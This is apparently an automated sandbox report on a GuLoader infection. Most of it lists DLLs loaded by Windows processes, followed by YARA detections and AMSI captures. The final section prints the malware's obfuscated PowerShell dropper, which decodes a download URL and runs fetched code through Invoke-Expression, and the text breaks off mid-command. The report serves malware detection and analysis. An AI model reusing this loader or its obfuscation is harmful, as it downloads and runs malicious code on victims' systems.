Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Core.pdb122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32 source: powershell.exe, 00000006.00000002.1609854802.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000006.00000002.1577977343.00000000005EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandlerV source: powershell.exe, 00000006.00000002.1609854802.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 0000000F.00000002.2216062150.0000000004301000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1619238157.0000000008991000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1618891964.00000000081F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1602163136.000000000545A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1243751229.0000027592CBD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Gribben)$GlobaL:kURsgevInst = [SysTem.tExt.ENcoDInG]::AsCII.geTStrinG($IsOLaTIonSmatERiaLes)$gLoBAl:HAvEMnd=$kuRSgEvInst.SuBStRINg($DESPeRaNCe,$poSSESsIOnaTE)<#Unsaintlike Umenneskel
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Attakerede $Didoes $Koloniser), (Gdninger @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Merychippus202 = [AppDomain]::CurrentDomain.GetAssemblies()$globa
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Tiphiidae)), $Ekstrabevillingen).DefineDynamicModule($Delspecifikationens, $false).DefineType($Pendulums, $Teologernes, [System.Multic
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Gribben)$GlobaL:kURsgevInst = [SysTem.tExt.ENcoDInG]::AsCII.geTStrinG($IsOLaTIonSmatERiaLes)$gLoBAl:HAvEMnd=$kuRSgEvInst.SuBStRINg($DESPeRaNCe,$poSSESsIOnaTE)<#Unsaintlike Umenneskel

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko 